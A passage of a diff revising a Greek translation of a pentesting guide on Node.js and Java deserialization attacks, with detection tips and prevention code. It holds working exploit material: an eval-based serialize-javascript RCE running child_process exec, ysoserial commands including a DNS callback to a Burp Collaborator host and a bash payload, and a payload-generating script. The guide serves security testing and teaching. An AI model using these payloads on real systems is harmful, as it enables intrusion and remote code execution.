require("funcster") //Serialization @@ -332,17 +336,17 @@ __js_function: } funcster.deepDeserialize(desertest3) ``` -**Για**[ **περισσότερες πληροφορίες διαβάστε αυτή την πηγή**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** +**Για**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** ### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript) -Το πακέτο **serialize-javascript** έχει σχεδιαστεί αποκλειστικά για σκοπούς σειριοποίησης, χωρίς καμία ενσωματωμένη δυνατότητα αποσειριοποίησης. Οι χρήστες είναι υπεύθυνοι για την υλοποίηση της δικής τους μεθόδου αποσειριοποίησης. Μια άμεση χρήση του `eval` προτείνεται από το επίσημο παράδειγμα για την αποσειριοποίηση σειριοποιημένων δεδομένων: +Το πακέτο **serialize-javascript** έχει σχεδιαστεί αποκλειστικά για σκοπούς σειριοποίησης και δεν διαθέτει ενσωματωμένες δυνατότητες αποσειριοποίησης. Οι χρήστες είναι υπεύθυνοι για την υλοποίηση της δικής τους μεθόδου για την αποσειριοποίηση. Στο επίσημο παράδειγμα προτείνεται η άμεση χρήση του `eval` για την αποσειριοποίηση σειριοποιημένων δεδομένων: ```javascript function deserialize(serializedJavascript) { return eval("(" + serializedJavascript + ")") } ``` -Αν αυτή η συνάρτηση χρησιμοποιείται για να αποδομήσει αντικείμενα, μπορείτε να **εκμεταλλευτείτε εύκολα**: +Αν αυτή η function χρησιμοποιείται για να deserialize objects, μπορείτε να την **easily exploit**: ```javascript var serialize = require("serialize-javascript") //Serialization @@ -356,32 +360,32 @@ var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()" deserialize(test) ``` -**Για**[ **περισσότερες πληροφορίες διαβάστε αυτή την πηγή**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** +**Για**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** -### Βιβλιοθήκη Cryo +### Cryo library -Στις επόμενες σελίδες μπορείτε να βρείτε πληροφορίες σχετικά με το πώς να εκμεταλλευτείτε αυτή τη βιβλιοθήκη για να εκτελέσετε αυθαίρετες εντολές: +Στις παρακάτω σελίδες μπορείτε να βρείτε πληροφορίες σχετικά με το πώς να εκμεταλλευτείτε αυτή τη βιβλιοθήκη για να εκτελέσετε αυθαίρετες εντολές: - [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/) - [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418) ## Java - HTTP -Στην Java, **οι κλήσεις deserialization εκτελούνται κατά τη διάρκεια της διαδικασίας deserialization**. Αυτή η εκτέλεση μπορεί να εκμεταλλευτεί από επιτιθέμενους που κατασκευάζουν κακόβουλα payloads που ενεργοποιούν αυτές τις κλήσεις, οδηγώντας σε πιθανή εκτέλεση επιβλαβών ενεργειών. +Στο Java, **deserialization callbacks εκτελούνται κατά τη διαδικασία της deserialization**. Αυτή η εκτέλεση μπορεί να αξιοποιηθεί από attackers που δημιουργούν κακόβουλα payloads τα οποία ενεργοποιούν αυτά τα callbacks, οδηγώντας σε πιθανή εκτέλεση επιβλαβών ενεργειών. -### Δακτυλικά αποτυπώματα +### Αποτυπώματα #### White Box -Για να εντοπίσετε πιθανές ευπάθειες serialization στον κώδικα, αναζητήστε: +Για να εντοπίσετε πιθανές serialization ευπάθειες στη βάση κώδικα, αναζητήστε: -- Κλάσεις που υλοποιούν τη διεπαφή `Serializable`. -- Χρήση των συναρτήσεων `java.io.ObjectInputStream`, `readObject`, `readUnshare`. +- Κλάσεις που υλοποιούν το interface `Serializable`. +- Χρήση των `java.io.ObjectInputStream`, των συναρτήσεων `readObject`, `readUnshare`. Δώστε ιδιαίτερη προσοχή σε: -- `XMLDecoder` που χρησιμοποιείται με παραμέτρους που ορίζονται από εξωτερικούς χρήστες. -- Η μέθοδος `fromXML` του `XStream`, ειδικά αν η έκδοση του XStream είναι μικρότερη ή ίση με 1.46, καθώς είναι ευάλωτη σε ζητήματα serialization. +- `XMLDecoder` όταν χρησιμοποιείται με παραμέτρους που ορίζονται από εξωτερικούς χρήστες. +- Τη μέθοδο `fromXML` της `XStream`, ειδικά αν η έκδοση της XStream είναι μικρότερη ή ίση με 1.46, καθώς είναι ευάλωτη σε serialization προβλήματα. - `ObjectInputStream` σε συνδυασμό με τη μέθοδο `readObject`. - Υλοποίηση μεθόδων όπως `readObject`, `readObjectNodData`, `readResolve`, ή `readExternal`. - `ObjectInputStream.readUnshared`. @@ -389,57 +393,67 @@ deserialize(test) #### Black Box -Για δοκιμές black box, αναζητήστε συγκεκριμένες **υπογραφές ή "Magic Bytes"** που δηλώνουν java serialized objects (προερχόμενα από `ObjectInputStream`): +Για Black Box testing, αναζητήστε συγκεκριμένα **signatures ή "Magic Bytes"** που υποδηλώνουν java serialized objects (προερχόμενα από `ObjectInputStream`): -- Εξαδική μορφή: `AC ED 00 05`. -- Μορφή Base64: `rO0`. -- HTTP response headers με `Content-type` ρυθμισμένο σε `application/x-java-serialized-object`. -- Εξαδική μορφή που υποδηλώνει προηγούμενη συμπίεση: `1F 8B 08 00`. -- Μορφή Base64 που υποδηλώνει προηγούμενη συμπίεση: `H4sIA`. -- Ιστοσελίδες με την επέκταση `.faces` και την παράμετρο `faces.ViewState`. Η ανακάλυψη αυτών των προτύπων σε μια διαδικτυακή εφαρμογή θα πρέπει να προκαλέσει μια εξέταση όπως αναλύεται στην [ανάρτηση σχετικά με την Deserialization του Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md). +- Δεκαεξαδικό μοτίβο: `AC ED 00 05`. +- Μοτίβο Base64: `rO0`. +- Κεφαλίδες HTTP απάντησης με `Content-type` ορισμένο σε `application/x-java-serialized-object`. +- Δεκαεξαδικό μοτίβο που υποδεικνύει προηγούμενη συμπίεση: `1F 8B 08 00`. +- Μοτίβο Base64 που υποδεικνύει προηγούμενη συμπίεση: `H4sIA`. +- Αρχεία web με την επέκταση `.faces` και την παράμετρο `faces.ViewState`. Η ανακάλυψη αυτών των μοτίβων σε μια web εφαρμογή πρέπει να οδηγήσει σε εξέταση όπως αναλυτικά περιγράφεται στο [post about Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md). ``` javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s ``` ### Έλεγχος αν είναι ευάλωτο -Αν θέλετε να **μάθετε πώς λειτουργεί μια εκμετάλλευση Java Deserialized** θα πρέπει να ρίξετε μια ματιά στα [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), και [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md). +Αν θέλετε να **μάθετε πώς λειτουργεί ένα Java Deserialized exploit** θα πρέπει να ρίξετε μια ματιά στα [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), και [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md). -#### Δοκιμή White Box +#### SignedObject-gated deserialization και pre-auth reachability -Μπορείτε να ελέγξετε αν είναι εγκατεστημένη κάποια εφαρμογή με γνωστές ευπάθειες. +Σύγχρονα codebases μερικές φορές περικλείουν τη deserialization με `java.security.SignedObject` και επαληθεύουν μια υπογραφή πριν καλέσουν `getObject()` (που deserializes το εσωτερικό αντικείμενο). Αυτό αποτρέπει αυθαίρετες top-level gadget classes αλλά μπορεί να είναι εκμεταλλεύσιμο εάν ένας attacker αποκτήσει έγκυρη υπογραφή (π.χ. private-key compromise ή signing oracle). Επιπλέον, οι ροές χειρισμού σφαλμάτων ενδέχεται να δημιουργούν session-bound tokens για μη-επαληθευμένους χρήστες, αποκαλύπτοντας αλλιώς προστατευμένα sinks pre-auth. + +Για μια συγκεκριμένη μελέτη περίπτωσης με requests, IoCs, και οδηγίες hardening, δείτε: + +{{#ref}} +java-signedobject-gated-deserialization.md +{{#endref}} + +#### White Box Test + +Μπορείτε να ελέγξετε αν είναι εγκατεστημένη οποιαδήποτε εφαρμογή με γνωστές ευπάθειες. ```bash find . -iname "*commons*collection*" grep -R InvokeTransformer . ``` -Μπορείτε να προσπαθήσετε να **ελέγξετε όλες τις βιβλιοθήκες** που είναι γνωστό ότι είναι ευάλωτες και που [**Ysoserial**](https://github.com/frohoff/ysoserial) μπορεί να παρέχει μια εκμετάλλευση. Ή μπορείτε να ελέγξετε τις βιβλιοθήκες που υποδεικνύονται στο [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\ -Μπορείτε επίσης να χρησιμοποιήσετε [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) για να αναζητήσετε πιθανές αλυσίδες gadget που μπορούν να εκμεταλλευτούν.\ -Όταν εκτελείτε το **gadgetinspector** (μετά την κατασκευή του) μην ανησυχείτε για τους τόνους προειδοποιήσεων/σφαλμάτων που περνάει και αφήστε το να ολοκληρωθεί. Θα γράψει όλα τα ευρήματα κάτω από _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Παρακαλώ, σημειώστε ότι **το gadgetinspector δεν θα δημιουργήσει μια εκμετάλλευση και μπορεί να υποδείξει ψευδώς θετικά αποτελέσματα**. +Μπορείτε να δοκιμάσετε να **ελέγξετε όλες τις βιβλιοθήκες** που είναι γνωστό ότι είναι ευάλωτες και για τις οποίες [**Ysoserial** ](https://github.com/frohoff/ysoserial) μπορεί να παρέχει ένα exploit. Ή μπορείτε να ελέγξετε τις βιβλιοθήκες που υποδεικνύονται στο [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\ +Μπορείτε επίσης να χρησιμοποιήσετε [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) για να αναζητήσετε πιθανές gadget chains που μπορούν να εκμεταλλευτούν.\ +Όταν τρέχετε **gadgetinspector** (μετά το build) μην δίνετε σημασία στα δεκάδες warnings/errors που εμφανίζονται και αφήστε το να ολοκληρώσει. Θα γράψει όλα τα ευρήματα κάτω από _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Παρακαλώ σημειώστε ότι **gadgetinspector δεν θα δημιουργήσει exploit και μπορεί να εμφανίσει ψευδώς θετικά**. #### Black Box Test -Χρησιμοποιώντας την επέκταση Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) μπορείτε να προσδιορίσετε **ποια βιβλιοθήκες είναι διαθέσιμες** (και ακόμη και τις εκδόσεις τους). Με αυτές τις πληροφορίες θα μπορούσε να είναι **ευκολότερο να επιλέξετε ένα payload** για να εκμεταλλευτείτε την ευπάθεια.\ -[**Διαβάστε αυτό για να μάθετε περισσότερα για το GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\ -Το GadgetProbe επικεντρώνεται στις **`ObjectInputStream` deserializations**. +Χρησιμοποιώντας το extension του Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) μπορείτε να εντοπίσετε **ποιες βιβλιοθήκες είναι διαθέσιμες** (και ακόμη και τις εκδόσεις). Με αυτή την πληροφορία μπορεί να είναι **πιο εύκολο να επιλέξετε ένα payload** για να εκμεταλλευτείτε την ευπάθεια.\ +[**Read this to learn more about GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\ +GadgetProbe επικεντρώνεται σε **`ObjectInputStream` deserializations**. -Χρησιμοποιώντας την επέκταση Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) μπορείτε να **εντοπίσετε ευάλωτες βιβλιοθήκες** που μπορούν να εκμεταλλευτούν με το ysoserial και να **τις εκμεταλλευτείτε**.\ -[**Διαβάστε αυτό για να μάθετε περισσότερα για το Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\ -Ο Java Deserialization Scanner επικεντρώνεται στις **`ObjectInputStream`** deserializations. +Χρησιμοποιώντας το extension του Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) μπορείτε να **εντοπίσετε ευάλωτες βιβλιοθήκες** εκμεταλλεύσιμες με ysoserial και να τις **εκμεταλλευτείτε**.\ +[**Read this to learn more about Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\ +Java Deserialization Scanner επικεντρώνεται σε **`ObjectInputStream`** deserializations. -Μπορείτε επίσης να χρησιμοποιήσετε [**Freddy**](https://github.com/nccgroup/freddy) για να **εντοπίσετε ευπάθειες deserialization** στο **Burp**. Αυτό το πρόσθετο θα ανιχνεύσει **όχι μόνο ευπάθειες σχετικές με το `ObjectInputStream`** αλλά **και** ευπάθειες από βιβλιοθήκες deserialization **Json** και **Yml**. Σε ενεργό λειτουργία, θα προσπαθήσει να τις επιβεβαιώσει χρησιμοποιώντας payloads sleep ή DNS.\ -[**Μπορείτε να βρείτε περισσότερες πληροφορίες για το Freddy εδώ.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/) +Μπορείτε επίσης να χρησιμοποιήσετε [**Freddy**](https://github.com/nccgroup/freddy) για να **εντοπίσετε ευπάθειες σε deserializations** μέσα στο **Burp**. Αυτό το plugin θα εντοπίσει **όχι μόνο ευπάθειες σχετιζόμενες με `ObjectInputStream`** αλλά **επίσης** ευπάθειες από βιβλιοθήκες deserialization για **Json** και **Yml**. Σε active mode, θα προσπαθήσει να τις επιβεβαιώσει χρησιμοποιώντας sleep ή DNS payloads.\ +[**You can find more information about Freddy here.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/) -**Serialization Test** +**Έλεγχος Σειριοποίησης** -Δεν είναι όλα σχετικά με το αν χρησιμοποιείται κάποια ευάλωτη βιβλιοθήκη από τον διακομιστή. Μερικές φορές μπορείτε να **αλλάξετε τα δεδομένα μέσα στο σειριακό αντικείμενο και να παρακάμψετε κάποιους ελέγχους** (ίσως να σας δώσει δικαιώματα διαχειριστή μέσα σε μια εφαρμογή ιστού).\ -Αν βρείτε ένα java σειριακό αντικείμενο που αποστέλλεται σε μια εφαρμογή ιστού, **μπορείτε να χρησιμοποιήσετε** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **για να εκτυπώσετε με πιο ανθρώπινα αναγνώσιμη μορφή το σειριακό αντικείμενο που αποστέλλεται**. Γνωρίζοντας ποια δεδομένα στέλνετε θα είναι πιο εύκολο να τα τροποποιήσετε και να παρακάμψετε κάποιους ελέγχους. +Δεν αφορά πάντα μόνο το αν ο server χρησιμοποιεί κάποια ευάλωτη βιβλιοθήκη. Μερικές φορές μπορεί να καταφέρετε να **αλλάξετε τα δεδομένα μέσα στο serialized object και να παρακάμψετε κάποιους ελέγχους** (ίσως να αποκτήσετε admin προνόμια μέσα σε μια webapp).\ +Αν εντοπίσετε ένα java serialized object που αποστέλλεται σε μια web εφαρμογή, **μπορείτε να χρησιμοποιήσετε** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **για να εκτυπώσετε σε πιο ανθρώπινα αναγνώσιμη μορφή το serialized object που αποστέλλεται**. Γνωρίζοντας ποια δεδομένα στέλνετε θα είναι πιο εύκολο να τα τροποποιήσετε και να παρακάμψετε κάποιους ελέγχους. ### **Exploit** #### **ysoserial** -Το κύριο εργαλείο για την εκμετάλλευση των Java deserializations είναι [**ysoserial**](https://github.com/frohoff/ysoserial) ([**κατεβάστε το εδώ**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Μπορείτε επίσης να εξετάσετε τη χρήση του [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) που θα σας επιτρέψει να χρησιμοποιήσετε σύνθετες εντολές (με pipes για παράδειγμα).\ -Σημειώστε ότι αυτό το εργαλείο είναι **εστιασμένο** στην εκμετάλλευση του **`ObjectInputStream`**.\ -Θα **ξεκινούσα χρησιμοποιώντας το payload "URLDNS"** **πριν από ένα RCE** payload για να δοκιμάσω αν η ένεση είναι δυνατή. Ούτως ή άλλως, σημειώστε ότι ίσως το payload "URLDNS" να μην λειτουργεί αλλά κάποιο άλλο RCE payload να λειτουργεί. +Το κύριο εργαλείο για την εκμετάλλευση Java deserializations είναι [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Μπορείτε επίσης να εξετάσετε τη χρήση του [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) το οποίο θα σας επιτρέψει να χρησιμοποιήσετε σύνθετες εντολές (με pipes για παράδειγμα).\ +Σημειώστε ότι αυτό το εργαλείο είναι **εστιασμένο** στην εκμετάλλευση **`ObjectInputStream`**.\ +Θα ξεκινούσα **χρησιμοποιώντας το "URLDNS"** payload **πριν από ένα RCE** payload για να δοκιμάσετε αν η injection είναι δυνατή. Πάντως, σημειώστε ότι ίσως το "URLDNS" payload να μην λειτουργεί αλλά κάποιο άλλο RCE payload να δουλεύει. ```bash # PoC to make the application perform a DNS req java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload @@ -484,9 +498,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb # Base64 encode payload in base64 base64 -w0 payload ``` -Όταν δημιουργείτε ένα payload για **java.lang.Runtime.exec()** δεν **μπορείτε να χρησιμοποιήσετε ειδικούς χαρακτήρες** όπως ">" ή "|" για να ανακατευθύνετε την έξοδο μιας εκτέλεσης, "$()" για να εκτελέσετε εντολές ή ακόμη και **να περάσετε παραμέτρους** σε μια εντολή χωρισμένες με **κενά** (μπορείτε να κάνετε `echo -n "hello world"` αλλά δεν μπορείτε να κάνετε `python2 -c 'print "Hello world"'`). Για να κωδικοποιήσετε σωστά το payload μπορείτε να [χρησιμοποιήσετε αυτή τη σελίδα](http://www.jackson-t.ca/runtime-exec-payloads.html). +Όταν δημιουργείτε ένα payload για **java.lang.Runtime.exec()** δεν μπορείτε να χρησιμοποιήσετε ειδικούς χαρακτήρες όπως ">" ή "|" για να ανακατευθύνετε την έξοδο μιας εκτέλεσης, "$()" για να εκτελέσετε εντολές ή ακόμα και να **περάσετε επιχειρήματα** σε μια εντολή χωρισμένα με **κενά** (μπορείτε να κάνετε `echo -n "hello world"` αλλά δεν μπορείτε να κάνετε `python2 -c 'print "Hello world"'`). Σε περίπτωση που θέλετε να κωδικοποιήσετε σωστά το payload μπορείτε να [χρησιμοποιήσετε αυτήν τη σελίδα](http://www.jackson-t.ca/runtime-exec-payloads.html). -Μη διστάσετε να χρησιμοποιήσετε το επόμενο σενάριο για να δημιουργήσετε **όλα τα πιθανά payloads εκτέλεσης κώδικα** για Windows και Linux και στη συνέχεια να τα δοκιμάσετε στη ευάλωτη ιστοσελίδα: +Μη διστάσετε να χρησιμοποιήσετε το παρακάτω script για να δημιουργήσετε **all the possible code execution** payloads για Windows και Linux και στη συνέχεια να τα δοκιμάσετε στην ευάλωτη ιστοσελίδα: ```python import os import base64 @@ -509,12 +523,12 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local') ``` #### serialkillerbypassgadgets -Μπορείτε να **χρησιμοποιήσετε** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **μαζί με το ysoserial για να δημιουργήσετε περισσότερους εκμεταλλεύσεις**. Περισσότερες πληροφορίες σχετικά με αυτό το εργαλείο στις **διαφάνειες της ομιλίας** όπου παρουσιάστηκε το εργαλείο: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1) +Μπορείτε να **χρησιμοποιήσετε** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **μαζί με ysoserial για να δημιουργήσετε περισσότερα exploits**. Περισσότερες πληροφορίες για αυτό το εργαλείο στις **διαφάνειες της παρουσίασης** όπου παρουσιάστηκε: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1) #### marshalsec -[**marshalsec** ](https://github.com/mbechler/marshalsec)μπορεί να χρησιμοποιηθεί για να δημιουργήσει payloads για να εκμεταλλευτεί διάφορες βιβλιοθήκες **Json** και **Yml** serialization στην Java.\ -Για να κάνω compile το έργο, χρειάστηκε να **προσθέσω** αυτές τις **εξαρτήσεις** στο `pom.xml`: +[**marshalsec**](https://github.com/mbechler/marshalsec) μπορεί να χρησιμοποιηθεί για να δημιουργήσει payloads που εκμεταλλεύονται διαφορετικές βιβλιοθήκες serialization για **Json** και **Yml** σε Java.\ +Για να μεταγλωττίσω το έργο χρειάστηκε να **προσθέσω** αυτές τις **εξαρτήσεις** στο `pom.xml`: ```html javax.activation @@ -529,57 +543,57 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local') pom ``` -**Εγκαταστήστε το maven**, και **συγκεντρώστε** το έργο: +**Εγκαταστήστε maven**, και **μεταγλωττίστε** το έργο: ```bash sudo apt-get install maven mvn clean package -DskipTests ``` #### FastJSON -Διαβάστε περισσότερα για αυτή τη βιβλιοθήκη Java JSON: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html) +Διαβάστε περισσότερα σχετικά με αυτή τη Java JSON βιβλιοθήκη: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html) -### Labs +### Εργαστήρια -- Αν θέλετε να δοκιμάσετε μερικά payloads ysoserial μπορείτε να **τρέξετε αυτή την εφαρμογή ιστού**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp) +- Αν θέλετε να δοκιμάσετε κάποια ysoserial payloads μπορείτε να **τρέξετε αυτή την webapp**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp) - [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/) -### Why +### Γιατί -Η Java χρησιμοποιεί πολύ serialization για διάφορους σκοπούς όπως: +Η Java χρησιμοποιεί ευρέως serialization για διάφορους σκοπούς όπως: -- **HTTP requests**: Η serialization χρησιμοποιείται ευρέως στη διαχείριση παραμέτρων, ViewState, cookies, κ.λπ. -- **RMI (Remote Method Invocation)**: Το πρωτόκολλο Java RMI, το οποίο βασίζεται εξ ολοκλήρου στη serialization, είναι θεμέλιο για την απομακρυσμένη επικοινωνία σε εφαρμογές Java. -- **RMI over HTTP**: Αυτή η μέθοδος χρησιμοποιείται συνήθως από εφαρμογές ιστού Java που βασίζονται σε thick client, χρησιμοποιώντας serialization για όλες τις επικοινωνίες αντικειμένων. -- **JMX (Java Management Extensions)**: Το JMX χρησιμοποιεί serialization για τη μετάδοση αντικειμένων μέσω του δικτύου. -- **Custom Protocols**: Στην Java, η τυπική πρακτική περιλαμβάνει τη μετάδοση ακατέργαστων αντικειμένων Java, κάτι που θα αποδειχθεί σε επερχόμενα παραδείγματα εκμετάλλευσης. +- **HTTP requests**: Το serialization χρησιμοποιείται ευρέως στη διαχείριση παραμέτρων, του ViewState, των cookies κ.λπ. +- **RMI (Remote Method Invocation)**: Το πρωτόκολλο Java RMI, που βασίζεται εξ ολοκλήρου στο serialization, αποτελεί θεμέλιο για την απομακρυσμένη επικοινωνία σε Java εφαρμογές. +- **RMI over HTTP**: Αυτή η μέθοδος συνηθίζεται σε εφαρμογές web με thick client βασισμένες σε Java, χρησιμοποιώντας serialization για όλες τις επικοινωνίες αντικειμένων. +- **JMX (Java Management Extensions)**: Το JMX χρησιμοποιεί serialization για τη μεταφορά αντικειμένων μέσω δικτύου. +- **Custom Protocols**: Στην Java, η συνήθης πρακτική περιλαμβάνει την αποστολή raw Java objects, κάτι που θα δείξουμε στα επερχόμενα παραδείγματα exploit. -### Prevention +### Πρόληψη -#### Transient objects +#### Αντικείμενα transient -Μια κλάση που υλοποιεί το `Serializable` μπορεί να υλοποιήσει ως `transient` οποιοδήποτε αντικείμενο μέσα στην κλάση που δεν θα πρέπει να είναι serializable. Για παράδειγμα: +Μια κλάση που υλοποιεί `Serializable` μπορεί να δηλώσει ως `transient` οποιοδήποτε αντικείμενο μέσα στην κλάση που δεν πρέπει να είναι serializable. Για παράδειγμα: ```java public class myAccount implements Serializable { private transient double profit; // declared transient private transient double margin; // declared transient ``` -#### Αποφύγετε την σειριοποίηση μιας κλάσης που πρέπει να υλοποιεί το Serializable +#### Αποφυγή σειριοποίησης μιας κλάσης που πρέπει να υλοποιεί Serializable -Σε σενάρια όπου ορισμένα **αντικείμενα πρέπει να υλοποιούν τη διεπαφή `Serializable`** λόγω ιεραρχίας κλάσεων, υπάρχει κίνδυνος μη σκόπιμης αποσειριοποίησης. Για να το αποτρέψετε, βεβαιωθείτε ότι αυτά τα αντικείμενα είναι μη αποσειριοποιήσιμα ορίζοντας μια `final` μέθοδο `readObject()` που ρίχνει πάντα μια εξαίρεση, όπως φαίνεται παρακάτω: +Σε σενάρια όπου ορισμένα **αντικείμενα πρέπει να υλοποιούν το `Serializable`** interface λόγω της ιεραρχίας κλάσεων, υπάρχει κίνδυνος μη εσκεμμένης αποσειριοποίησης. Για να το αποτρέψετε, βεβαιωθείτε ότι αυτά τα αντικείμενα δεν μπορούν να αποσειριοποιηθούν ορίζοντας μια `final` `readObject()` μέθοδο που πάντα ρίχνει μια εξαίρεση, όπως φαίνεται παρακάτω: ```java private final void readObject(ObjectInputStream in) throws java.io.IOException { throw new java.io.IOException("Cannot be deserialized"); } ``` -#### **Ενίσχυση της Ασφάλειας Αποσυμπίεσης στην Java** +#### **Ενίσχυση της ασφάλειας της απο-σειριοποίησης σε Java** -**Η προσαρμογή του `java.io.ObjectInputStream`** είναι μια πρακτική προσέγγιση για την ασφάλιση των διαδικασιών αποσυμπίεσης. Αυτή η μέθοδος είναι κατάλληλη όταν: +**Προσαρμογή του `java.io.ObjectInputStream`** είναι μια πρακτική προσέγγιση για την ασφάλιση των διαδικασιών απο-σειριοποίησης. Αυτή η μέθοδος είναι κατάλληλη όταν: -- Ο κώδικας αποσυμπίεσης είναι υπό τον έλεγχό σας. -- Οι κλάσεις που αναμένονται για αποσυμπίεση είναι γνωστές. +- Ο κώδικας απο-σειριοποίησης βρίσκεται υπό τον έλεγχό σας. +- Οι κλάσεις που αναμένονται για απο-σειριοποίηση είναι γνωστές. -Επικαλύψτε τη μέθοδο **`resolveClass()`** για να περιορίσετε την αποσυμπίεση μόνο σε επιτρεπόμενες κλάσεις. Αυτό αποτρέπει την αποσυμπίεση οποιασδήποτε κλάσης εκτός από αυτές που επιτρέπονται ρητά, όπως στο παρακάτω παράδειγμα που περιορίζει την αποσυμπίεση μόνο στην κλάση `Bicycle`: +Υπερφορτώστε τη μέθοδο **`resolveClass()`** για να περιορίσετε την απο-σειριοποίηση μόνο σε επιτρεπόμενες κλάσεις. Αυτό αποτρέπει την απο-σειριοποίηση οποιασδήποτε κλάσης εκτός από αυτές που επιτρέπονται ρητά, όπως στο ακόλουθο παράδειγμα που περιορίζει την απο-σειριοποίηση μόνο στην κλάση `Bicycle`: ```java // Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html public class LookAheadObjectInputStream extends ObjectInputStream { @@ -600,17 +614,17 @@ return super.resolveClass(desc); } } ``` -**Χρησιμοποιώντας έναν Java Agent για την Ενίσχυση της Ασφάλειας** προσφέρει μια εναλλακτική λύση όταν η τροποποίηση του κώδικα δεν είναι δυνατή. Αυτή η μέθοδος εφαρμόζεται κυρίως για **μαύρη λίστα επιβλαβών κλάσεων**, χρησιμοποιώντας μια παράμετρο JVM: +**Using a Java Agent for Security Enhancement** προσφέρει μια εναλλακτική λύση όταν η τροποποίηση του κώδικα δεν είναι δυνατή. Αυτή η μέθοδος εφαρμόζεται κυρίως για **blacklisting harmful classes**, χρησιμοποιώντας μια JVM παράμετρο: ``` -javaagent:name-of-agent.jar ``` -Παρέχει έναν τρόπο για να ασφαλίσετε τη διαδικασία αποσειριοποίησης δυναμικά, ιδανικό για περιβάλλοντα όπου οι άμεσες αλλαγές κώδικα είναι μη πρακτικές. +Παρέχει έναν τρόπο για να ασφαλίσετε τη deserialization δυναμικά, ιδανικό για περιβάλλοντα όπου άμεσες αλλαγές στον κώδικα είναι πρακτικά ανέφικτες. -Δείτε ένα παράδειγμα στο [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0) +Check and example in [rO0 by Contrast 